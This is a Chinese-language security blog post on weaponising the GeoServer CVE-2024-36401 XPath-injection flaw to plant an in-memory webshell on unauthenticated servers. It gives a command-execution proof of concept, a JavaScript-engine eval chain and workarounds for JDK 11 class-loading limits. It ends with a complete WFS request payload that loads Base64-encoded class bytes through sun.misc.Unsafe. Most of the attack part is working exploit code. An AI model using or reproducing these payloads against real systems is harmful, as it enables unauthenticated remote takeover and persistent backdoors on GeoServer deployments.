长亭百川云 - 文章详情

GeoServer property RCE注入内存马

网络安全回收站

51

2024-07-13

背景

GeoServer 是 OpenGIS Web 服务器规范的 J2EE 实现,利用 GeoServer 可以方便的发布地图数据,允许用户对特征数据进行更新、删除、插入操作。在GeoServer 2.25.1, 2.24.3, 2.23.5版本及以前,未登录的任意用户可以通过构造恶意OGC请求,在默认安装的服务器中执行XPath表达式,进而利用执行Apache Commons Jxpath提供的功能执行任意代码。from https://github.com/vulhub/vulhub/blob/master/geoserver/CVE-2024-36401/

本文主要研究如何武器化利用,注入内存马。

注入内存马

目前市面上公开的POC主要是做到了命令执行:



1.  `exec(java.lang.Runtime.getRuntime(),'touch /tmp/success2')`
    


Apache XPath解析表达式是支持链式调用的,是非常常见的一个表达式注入场景。虽然也可以用ClassPathXmlApplicationContext或者JNDI这种远程加载的方式去加载类,但是总归是有限制,不优雅。可以参考我之前在Kcon上讲过的议题《Java表达式攻防下的黑魔法》,可以利用Js引擎将这类链式调用的命令执行转化为完全体的任意代码执行,并且无需出网,无需额外依赖 Y4tacker也在之前的文章中提到了怎么构造Js引擎的Poc:https://tttang.com/archive/1771/



1.  `eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'java.lang.Runtime.getRuntime().exec("open -na Calculator")')`
    


似乎只需要把Js执行的Payload换成我之前议题中给出的Payload即可:https://github.com/yzddmr6/Java-Js-Engine-Payloads

但是实际上实现的时候有两个坑

无法使用函数

首先利用JMG生成内存马注入代码。由于通过bin形式安装默认是Jetty,这里选择Jetty类型

然后将code部分替换



1.  `function Base64DecodeToByte(str) {`
    
2.      `var bt;`
    
3.      `try {`
    
4.          `bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);`
    
5.      `} catch (e) {`
    
6.          `bt = java.util.Base64.getDecoder().decode(str);`
    
7.      `}`
    
8.      `return bt;`
    
9.  `}`
    

11.  `function defineClass(classBytes) {`
    
12.      `var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");`
    
13.      `theUnsafe.setAccessible(true);`
    
14.      `unsafe = theUnsafe.get(null);`
    
15.      `unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), classBytes, null).newInstance();`
    
16.  `}`
    

18.  `defineClass(Base64DecodeToByte(code));`
    


打这个漏洞如果返回java.lang.ClassCastException是正常的,但是出现了下面的报错,说明有问题了。

经过多次测试,发现这里的Payload不能用function的语法。十分神秘,单独测试Js引擎没有这个问题,暂时没有去深入研究原因。

JDK11下的defineAnonymousClass

重新改成不带function的形式,又出现了另外一个报错发现原因是JDK>8时,defineAnonymousClass做了限制,被加载的Class要满足两个条件之一:

  1. 没有包名

  2. 包名跟第一个参数Class的包名一致,此处为java.lang,否则会报错

而JDK8及以下无此限制正好JMG提供了修改注入器类名的功能,这里我们随便起一个java.lang.test的名字

终于不报错了,注入成功

连接的时候发现JMG的Jetty-AntSword-Listener类型似乎有BUG,打进去连接不上 随后换成Filter连接成功

注入内存马Payload



1.  `<wfs:GetPropertyValue service='WFS' version='2.0.0'`
    
2.   `xmlns:topp='http://www.openplans.org/topp'`
    
3.   `xmlns:fes='http://www.opengis.net/fes/2.0'`
    
4.   `xmlns:wfs='http://www.opengis.net/wfs/2.0'>`
    
5.    `<wfs:Query typeNames='sf:archsites'/>`
    
6.    `<wfs:valueReference>eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'`
    
7.  `var str="";`
    
8.  `var bt;`
    
9.  `try {`
    
10.      `bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);`
    
11.  `} catch (e) {`
    
12.      `bt = java.util.Base64.getDecoder().decode(str);`
    
13.  `}`
    
14.  `var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");`
    
15.  `theUnsafe.setAccessible(true);`
    
16.  `unsafe = theUnsafe.get(null);`
    
17.  `unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance();`
    
18.  `')</wfs:valueReference>`
    
19.  `</wfs:GetPropertyValue>`
    


相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2